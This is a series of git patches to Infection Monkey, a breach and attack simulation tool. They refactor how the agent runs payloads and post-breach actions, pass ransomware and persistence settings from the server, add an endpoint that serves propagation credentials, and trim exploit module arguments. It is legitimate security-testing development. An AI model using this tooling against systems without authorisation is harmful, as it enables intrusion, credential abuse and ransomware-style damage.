82cc895a1..1f700d40f 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -93,8 +93,8 @@ "encryption": { "enabled": true, "directories": { - "linux_target_dir": "", - "windows_target_dir": "" + "linux_target_dir": "/tmp/ransomware-target", + "windows_target_dir": "C:\\windows\\temp\\ransomware-target" } }, "other_behaviors": { diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 30e56e05e..2f67c2f76 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -33,3 +33,25 @@ def test_format_config_for_agent__credentials_removed(flat_monkey_config): assert "exploit_password_list" not in flat_monkey_config assert "exploit_ssh_keys" not in flat_monkey_config assert "exploit_user_list" not in flat_monkey_config + + +def test_format_config_for_agent__ransomware_payload(flat_monkey_config): + expected_ransomware_config = { + "ransomware": { + "encryption": { + "enabled": True, + "directories": { + "linux_target_dir": "/tmp/ransomware-target", + "windows_target_dir": "C:\\windows\\temp\\ransomware-target", + }, + }, + "other_behaviors": {"readme": True}, + } + } + + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "payloads" in flat_monkey_config + assert flat_monkey_config["payloads"] == expected_ransomware_config + + assert "ransomware" not in flat_monkey_config From 839157a8226cd2bded6c23685bf69964a4f084b8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 09:39:41 -0500 Subject: [PATCH 0074/1110] Agent: Implement AutomatedMaster._run_payloads() --- monkey/infection_monkey/master/automated_master.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 1868aee1f..d50f242c1 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -155,7 +155,17 @@ class AutomatedMaster(IMaster): pass def _run_payloads(self, enabled_payloads: Dict[str, Dict]): - pass + logger.info("Running payloads") + logger.debug(f"Found {len(enabled_payloads.keys())} payload(s) to run") + + for payload_name, options in enabled_payloads.items(): + if self._stop.is_set(): + logger.debug("Received a stop signal, skipping remaining system info collectors") + break + + self._puppet.run_payload(payload_name, options, self._stop) + + logger.info("Finished running payloads") def cleanup(self): pass From 1b04844e5efa13fe46172365be4d34400d234f5d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 10:21:10 -0500 Subject: [PATCH 0075/1110] Agent: Deduplicate stop logic in AutomatedMaster --- .../master/automated_master.py | 59 ++++++++++--------- 1 file changed, 30 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d50f242c1..42ab4d285 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,7 +1,7 @@ import logging import threading import time -from typing import Dict, List +from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster @@ -87,8 +87,12 @@ class AutomatedMaster(IMaster): config = self._control_channel.get_config() system_info_collector_thread = threading.Thread( - target=self._collect_system_info, - args=(config["system_info_collector_classes"],), + target=self._run_plugins, + args=( + config["system_info_collector_classes"], + "system info collector", + self._collect_system_info, + ), daemon=True, ) pba_thread = threading.Thread( @@ -112,7 +116,9 @@ class AutomatedMaster(IMaster): propagation_thread.join() payload_thread = threading.Thread( - target=self._run_payloads, args=(config["payloads"],), daemon=True + target=self._run_plugins, + args=(config["payloads"].items(), "payload", self._run_payload), + daemon=True, ) payload_thread.start() payload_thread.join() @@ -127,23 +133,12 @@ class AutomatedMaster(IMaster): if self._stop.is_set(): break - def _collect_system_info(self, enabled_collectors: List[str]): - logger.info("Running system info collectors") - - for collector in enabled_collectors: - if self._stop.is_set(): - logger.debug("Received a stop signal, skipping remaining system info collectors") - break - - logger.info(f"Running system info collector: {collector}") - - system_info_telemetry = {} - system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) - self._telemetry_messenger.send_telemetry( - SystemInfoTelem({"collectors": system_info_telemetry}) - ) - - logger.info("Finished running system info collectors") + def _collect_system_info(self, collector: str): + system_info_telemetry = {} + system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) + self._telemetry_messenger.send_telemetry( + SystemInfoTelem({"collectors": system_info_telemetry}) + ) def _run_pbas(self, enabled_pbas: List[str]): pass @@ -154,18 +149,24 @@ class AutomatedMaster(IMaster): def _propagate(self, config: Dict): pass - def _run_payloads(self, enabled_payloads: Dict[str, Dict]): - logger.info("Running payloads") - logger.debug(f"Found {len(enabled_payloads.keys())} payload(s) to run") + def _run_payload(self, payload: Tuple[str, Dict]): + name = payload[0] + options = payload[1] - for payload_name, options in enabled_payloads.items(): + self._puppet.run_payload(name, options, self._stop) + + def _run_plugins(self, plugin: List[Any], plugin_type: str, callback: Callable[[Any], None]): + logger.info(f"Running {plugin_type}s") + logger.debug(f"Found {len(plugin)} {plugin_type}(s) to run") + + for p in plugin: if self._stop.is_set(): - logger.debug("Received a stop signal, skipping remaining system info collectors") - break + logger.debug(f"Received a stop signal, skipping remaining {plugin_type}s") + return - self._puppet.run_payload(payload_name, options, self._stop) + callback(p) - logger.info("Finished running payloads") + logger.info(f"Finished running {plugin_type}s") def cleanup(self): pass From fecb7342ade16e1b3734c3e30defd1d11efce0fc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 10:49:56 -0500 Subject: [PATCH 0076/1110] Island: Reformat "PBAs" in config before sending to agent Allow options to be specified for each PBA and consolidate the custom user PBA options under a "Custom" PBA. --- monkey/monkey_island/cc/services/config.py | 26 +++++++++++++++++++ .../monkey_configs/flat_config.json | 11 +++----- .../monkey_island/cc/services/test_config.py | 25 ++++++++++++++++++ 3 files changed, 55 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 80228c8e6..97bbd4c82 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -431,6 +431,7 @@ class ConfigService: def format_flat_config_for_agent(config: Dict): ConfigService._remove_credentials_from_flat_config(config) ConfigService._format_payloads_from_flat_config(config) + ConfigService._format_pbas_from_flat_config(config) @staticmethod def _remove_credentials_from_flat_config(config: Dict): @@ -449,3 +450,28 @@ class ConfigService: def _format_payloads_from_flat_config(config: Dict): config.setdefault("payloads", {})["ransomware"] = config["ransomware"] config.pop("ransomware", None) + + @staticmethod + def _format_pbas_from_flat_config(config: Dict): + flat_linux_command_field = "custom_PBA_linux_cmd" + flat_linux_filename_field = "PBA_linux_filename" + flat_windows_command_field = "custom_PBA_windows_cmd" + flat_windows_filename_field = "PBA_windows_filename" + + formatted_pbas_config = {} + for pba in config.get("post_breach_actions", []): + formatted_pbas_config[pba] = {} + + formatted_pbas_config["Custom"] = { + "linux_command": config.get(flat_linux_command_field, ""), + "linux_filename": config.get(flat_linux_filename_field, ""), + "windows_command": config.get(flat_windows_command_field, ""), + "windows_filename": config.get(flat_windows_filename_field, ""), + } + + config["post_breach_actions"] = formatted_pbas_config + + config.pop(flat_linux_command_field, None) + config.pop(flat_linux_filename_field, None) + config.pop(flat_windows_command_field, None) + config.pop(flat_windows_filename_field, None) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 1f700d40f..b82ab6309 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -7,8 +7,8 @@ 7001, 9200 ], - "PBA_linux_filename": "", - "PBA_windows_filename": "", + "PBA_linux_filename": "test.sh", + "PBA_windows_filename": "test.ps1", "alive": true, "aws_access_key_id": "", "aws_secret_access_key": "", @@ -18,8 +18,8 @@ "10.197.94.72:5000" ], "current_server": "10.197.94.72:5000", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", + "custom_PBA_linux_cmd": "bash test.sh", + "custom_PBA_windows_cmd": "powershell test.ps1", "depth": 2, "dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", @@ -82,9 +82,6 @@ "post_breach_actions": [ "CommunicateAsBackdoorUser", "ModifyShellStartupFiles", - "HiddenFiles", - "TrapCommand", - "ChangeSetuidSetgid", "ScheduleJobs", "Timestomping", "AccountDiscovery" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 2f67c2f76..be6bded05 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -55,3 +55,28 @@ def test_format_config_for_agent__ransomware_payload(flat_monkey_config): assert flat_monkey_config["payloads"] == expected_ransomware_config assert "ransomware" not in flat_monkey_config + + +def test_format_config_for_agent__pbas(flat_monkey_config): + expected_pbas_config = { + "CommunicateAsBackdoorUser": {}, + "ModifyShellStartupFiles": {}, + "ScheduleJobs": {}, + "Timestomping": {}, + "AccountDiscovery": {}, + "Custom": { + "linux_command": "bash test.sh", + "windows_command": "powershell test.ps1", + "linux_filename": "test.sh", + "windows_filename": "test.ps1", + }, + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "post_breach_actions" in flat_monkey_config + assert flat_monkey_config["post_breach_actions"] == expected_pbas_config + + assert "custom_PBA_linux_cmd" not in flat_monkey_config + assert "PBA_linux_filename" not in flat_monkey_config + assert "custom_PBA_windows_cmd" not in flat_monkey_config + assert "PBA_windows_filename" not in flat_monkey_config From 261826fc787278f91fdc4f6a7133852f7e63693c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 3 Dec 2021 11:05:31 -0500 Subject: [PATCH 0077/1110] Agent: Implement PBA thread in AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 42ab4d285..f0e17b8a2 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -7,6 +7,7 @@ from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer @@ -96,7 +97,9 @@ class AutomatedMaster(IMaster): daemon=True, ) pba_thread = threading.Thread( - target=self._run_pbas, args=(config["post_breach_actions"],), daemon=True + target=self._run_plugins, + args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), + daemon=True, ) system_info_collector_thread.start() @@ -140,8 +143,12 @@ class AutomatedMaster(IMaster): SystemInfoTelem({"collectors": system_info_telemetry}) ) - def _run_pbas(self, enabled_pbas: List[str]): - pass + def _run_pba(self, pba: Tuple[str, Dict]): + name = pba[0] + options = pba[1] + + command, result = self._puppet.run_pba(name, options) + self._telemetry_messenger.send_telemetry(PostBreachTelem(name, command, result)) def _can_propagate(self): return True From e8de38881c0b7749fa04feffbba1b873b2af4444 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 6 Dec 2021 19:13:53 -0500 Subject: [PATCH 0078/1110] Agent: Add _create_daemon_thread() utility function to AutomatedMaster --- .../master/automated_master.py | 21 +++++++++---------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index f0e17b8a2..9c36dc17d 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -30,8 +30,8 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel self._stop = threading.Event() - self._master_thread = threading.Thread(target=self._run_master_thread, daemon=True) - self._simulation_thread = threading.Thread(target=self._run_simulation, daemon=True) + self._master_thread = _create_daemon_thread(target=self._run_master_thread) + self._simulation_thread = _create_daemon_thread(target=self._run_simulation) def start(self): logger.info("Starting automated breach and attack simulation") @@ -87,19 +87,17 @@ class AutomatedMaster(IMaster): def _run_simulation(self): config = self._control_channel.get_config() - system_info_collector_thread = threading.Thread( + system_info_collector_thread = _create_daemon_thread( target=self._run_plugins, args=( config["system_info_collector_classes"], "system info collector", self._collect_system_info, ), - daemon=True, ) - pba_thread = threading.Thread( + pba_thread = _create_daemon_thread( target=self._run_plugins, args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), - daemon=True, ) system_info_collector_thread.start() @@ -112,16 +110,13 @@ class AutomatedMaster(IMaster): system_info_collector_thread.join() if self._can_propagate(): - propagation_thread = threading.Thread( - target=self._propagate, args=(config,), daemon=True - ) + propagation_thread = _create_daemon_thread(target=self._propagate, args=(config,)) propagation_thread.start() propagation_thread.join() - payload_thread = threading.Thread( + payload_thread = _create_daemon_thread( target=self._run_plugins, args=(config["payloads"].items(), "payload", self._run_payload), - daemon=True, ) payload_thread.start() payload_thread.join() @@ -177,3 +172,7 @@ class AutomatedMaster(IMaster): def cleanup(self): pass + + +def _create_daemon_thread(target: Callable[[Any], None], args: Tuple[Any] = ()): + return threading.Thread(target=target, args=args, daemon=True) From b15612c9aeb8b4c64abbabf78c717bc457b9a403 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 6 Dec 2021 19:31:50 -0500 Subject: [PATCH 0079/1110] Island: Add more detail to TODO in Monkey resource --- monkey/monkey_island/cc/resources/monkey.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 4e02fc258..3853b58ed 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -27,7 +27,8 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) # TODO: When the "legacy" format is no longer needed, update this logic and remove the - # "/api/monkey//" route. + # "/api/monkey//" route. Also considering not + # flattening the config in the first place. if config_format == "legacy": ConfigService.decrypt_flat_config(monkey_json["config"]) else: From 58d55f589da069e332ba176d55471eeae9d09e29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 07:45:59 -0500 Subject: [PATCH 0080/1110] Island: Remove camel case from propagation credentials endpoint --- monkey/monkey_island/cc/app.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 376d0221b..5c97db9db 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -170,7 +170,7 @@ def init_api_resources(api): "/api/fileUpload/?load=", "/api/fileUpload/?restore=", ) - api.add_resource(PropagationCredentials, "/api/propagationCredentials") + api.add_resource(PropagationCredentials, "/api/propagation-credentials") api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") From 703ba4f1c48f8c05c98f647cb879394db570d51b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 07:46:37 -0500 Subject: [PATCH 0081/1110] Agent: Remove camel case from propagation credentials endpoint --- monkey/infection_monkey/master/control_channel.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 12bf3a52f..24cd2ae55 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -56,7 +56,7 @@ class ControlChannel(IControlChannel): def get_credentials_for_propagation(self) -> dict: try: response = requests.get( # noqa: DUO123 - f"{self._control_channel_server}/api/propagationCredentials", + f"{self._control_channel_server}/api/propagation-credentials", verify=False, proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, From 8ecf328b4c82556beb5db52738da3b93c3fdeb56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 11:27:19 -0500 Subject: [PATCH 0082/1110] Island: Reimplement PropagationCredentials resource --- monkey/monkey_island/cc/app.py | 2 +- .../cc/resources/propagation_credentials.py | 11 ++++++++-- monkey/monkey_island/cc/services/config.py | 20 ++++++------------- .../monkey_configs/flat_config.json | 18 ++++++++--------- .../monkey_island/cc/services/test_config.py | 13 ++++++++++++ 5 files changed, 38 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 5c97db9db..e19ab6dcd 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -170,7 +170,7 @@ def init_api_resources(api): "/api/fileUpload/?load=", "/api/fileUpload/?restore=", ) - api.add_resource(PropagationCredentials, "/api/propagation-credentials") + api.add_resource(PropagationCredentials, "/api/propagation-credentials/") api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py index 74e99b10d..f85ffea0d 100644 --- a/monkey/monkey_island/cc/resources/propagation_credentials.py +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -1,9 +1,16 @@ import flask_restful +from monkey_island.cc.database import mongo from monkey_island.cc.services.config import ConfigService class PropagationCredentials(flask_restful.Resource): - def get(self): + def get(self, guid: str): + monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + ConfigService.decrypt_flat_config(monkey_json) - return {"propagation_credentials": ConfigService.get_config_propagation_credentials()} + propagation_credentials = ConfigService.get_config_propagation_credentials_from_flat_config( + monkey_json["config"] + ) + + return {"propagation_credentials": propagation_credentials} diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 97bbd4c82..a6a2f9514 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -410,21 +410,13 @@ class ConfigService: ConfigService.set_config_value(STARTED_ON_ISLAND_PATH, value) @staticmethod - def get_config_propagation_credentials(): + def get_config_propagation_credentials_from_flat_config(config): return { - "exploit_user_list": ConfigService.get_config_value( - USER_LIST_PATH, should_decrypt=False - ), - "exploit_password_list": ConfigService.get_config_value( - PASSWORD_LIST_PATH, should_decrypt=False - ), - "exploit_lm_hash_list": ConfigService.get_config_value( - LM_HASH_LIST_PATH, should_decrypt=False - ), - "exploit_ntlm_hash_list": ConfigService.get_config_value( - NTLM_HASH_LIST_PATH, should_decrypt=False - ), - "exploit_ssh_keys": ConfigService.get_config_value(SSH_KEYS_PATH, should_decrypt=False), + "exploit_user_list": config["exploit_user_list"], + "exploit_password_list": config["exploit_password_list"], + "exploit_lm_hash_list": config["exploit_lm_hash_list"], + "exploit_ntlm_hash_list": config["exploit_ntlm_hash_list"], + "exploit_ssh_keys": config["exploit_ssh_keys"], } @staticmethod diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index b82ab6309..972f9e947 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -29,18 +29,18 @@ "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], + "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], + "exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"], "exploit_password_list": [ - "root", - "123456", - "password", - "123456789", - "qwerty", - "111111", - "iloveyou" + "test", + "iloveyou", + "12345" ], "exploit_ssh_keys": [ + { + "public_key": "my_public_key", + "private_key": "my_private_key" + } ], "exploit_user_list": [ "Administrator", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index be6bded05..1aece8180 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -80,3 +80,16 @@ def test_format_config_for_agent__pbas(flat_monkey_config): assert "PBA_linux_filename" not in flat_monkey_config assert "custom_PBA_windows_cmd" not in flat_monkey_config assert "PBA_windows_filename" not in flat_monkey_config + + +def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config): + expected_creds = { + "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], + "exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"], + "exploit_password_list": ["test", "iloveyou", "12345"], + "exploit_ssh_keys": [{"private_key": "my_private_key", "public_key": "my_public_key"}], + "exploit_user_list": ["Administrator", "root", "user", "ubuntu"], + } + + creds = ConfigService.get_config_propagation_credentials_from_flat_config(flat_monkey_config) + assert creds == expected_creds From 0783e236aac4a635ac0894154d256b7ee2401b1b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 11:29:52 -0500 Subject: [PATCH 0083/1110] Agent: Add agent GUID to /api/propagation-credentials call --- monkey/infection_monkey/master/control_channel.py | 4 +++- .../cc/resources/propagation_credentials.py | 2 +- monkey/monkey_island/cc/services/config.py | 10 +++++----- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 24cd2ae55..3509cedc2 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -56,7 +56,7 @@ class ControlChannel(IControlChannel): def get_credentials_for_propagation(self) -> dict: try: response = requests.get( # noqa: DUO123 - f"{self._control_channel_server}/api/propagation-credentials", + f"{self._control_channel_server}/api/propagation-credentials/{self._agent_id}", verify=False, proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, @@ -67,3 +67,5 @@ class ControlChannel(IControlChannel): except Exception as e: # TODO: Evaluate how this exception is handled; don't just log and ignore it. logger.error(f"An error occurred while trying to connect to server. {e}") + + return {} diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py index f85ffea0d..532501658 100644 --- a/monkey/monkey_island/cc/resources/propagation_credentials.py +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -7,7 +7,7 @@ from monkey_island.cc.services.config import ConfigService class PropagationCredentials(flask_restful.Resource): def get(self, guid: str): monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) - ConfigService.decrypt_flat_config(monkey_json) + ConfigService.decrypt_flat_config(monkey_json["config"]) propagation_credentials = ConfigService.get_config_propagation_credentials_from_flat_config( monkey_json["config"] diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index a6a2f9514..af9c0a155 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -412,11 +412,11 @@ class ConfigService: @staticmethod def get_config_propagation_credentials_from_flat_config(config): return { - "exploit_user_list": config["exploit_user_list"], - "exploit_password_list": config["exploit_password_list"], - "exploit_lm_hash_list": config["exploit_lm_hash_list"], - "exploit_ntlm_hash_list": config["exploit_ntlm_hash_list"], - "exploit_ssh_keys": config["exploit_ssh_keys"], + "exploit_user_list": config.get("exploit_user_list", []), + "exploit_password_list": config.get("exploit_password_list", []), + "exploit_lm_hash_list": config.get("exploit_lm_hash_list", []), + "exploit_ntlm_hash_list": config.get("exploit_ntlm_hash_list", []), + "exploit_ssh_keys": config.get("exploit_ssh_keys", []), } @staticmethod From 91a8376df68c68112a2dd2880a41ed8368191860 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 11:59:40 -0500 Subject: [PATCH 0084/1110] Changelog: Add propagation-credentials endpoint entry --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7f5a59bb8..3dac1d3b0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added - credentials.json file for storing Monkey Island user login information. #1206 +- "GET /api/propagation-credentials/" endpoint for agents to + retrieve updated credentials from the Island. #1538 ### Changed - "Communicate as Backdoor User" PBA's HTTP requests to request headers only and From db58b0b27d38c87af561d5b3947d73cafec0cc66 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 3 Dec 2021 17:39:37 +0530 Subject: [PATCH 0085/1110] Agent, UT: Remove --vulnerable-port CLI argument --- monkey/infection_monkey/dropper.py | 1 - monkey/infection_monkey/exploit/hadoop.py | 4 +--- monkey/infection_monkey/exploit/mssqlexec.py | 4 +--- monkey/infection_monkey/exploit/powershell.py | 1 - monkey/infection_monkey/exploit/shellshock.py | 1 - monkey/infection_monkey/exploit/smbexec.py | 15 +-------------- monkey/infection_monkey/exploit/sshexec.py | 4 +--- .../infection_monkey/exploit/tools/http_tools.py | 4 ---- monkey/infection_monkey/exploit/web_rce.py | 10 ++-------- monkey/infection_monkey/exploit/win_ms08_067.py | 5 +---- monkey/infection_monkey/exploit/wmiexec.py | 6 +----- monkey/infection_monkey/exploit/zerologon.py | 1 - monkey/infection_monkey/monkey.py | 1 - monkey/infection_monkey/utils/commands.py | 9 +-------- .../infection_monkey/utils/test_commands.py | 10 +++------- 15 files changed, 12 insertions(+), 64 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index e2f59e601..3a153bf44 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -139,7 +139,6 @@ class MonkeyDrops(object): server=self.opts.server, depth=self.opts.depth, location=None, - vulnerable_port=self.opts.vulnerable_port, ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f221ebe1f..53a98bd5a 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -87,9 +87,7 @@ class HadoopExploiter(WebRCE): def build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] - ) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ef88d6cf2..a3b6d8191 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -147,9 +147,7 @@ class MSSQLExploiter(HostExploiter): def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command - monkey_args = build_monkey_commandline( - self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path - ) + monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f2883bb63..6db20b6a4 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -208,7 +208,6 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path monkey_params = build_monkey_commandline( target_host=host, depth=depth, - vulnerable_port=None, location=executable_path, ) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index efe0c10cc..2f1284201 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -164,7 +164,6 @@ class ShellShockExploiter(HostExploiter): cmdline += build_monkey_commandline( self.host, get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), dropper_target_path_linux, ) cmdline += " & " diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 8dfe8ed75..4dac63cd9 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -28,7 +28,6 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self.vulnerable_port = None def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): @@ -112,7 +111,6 @@ class SmbExploiter(HostExploiter): logger.debug("Exploiter SmbExec is giving up...") return False - self.set_vulnerable_port() # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { @@ -120,15 +118,12 @@ class SmbExploiter(HostExploiter): } + build_monkey_commandline( self.host, get_monkey_depth() - 1, - self.vulnerable_port, self._config.dropper_target_path_win_32, ) else: cmdline = 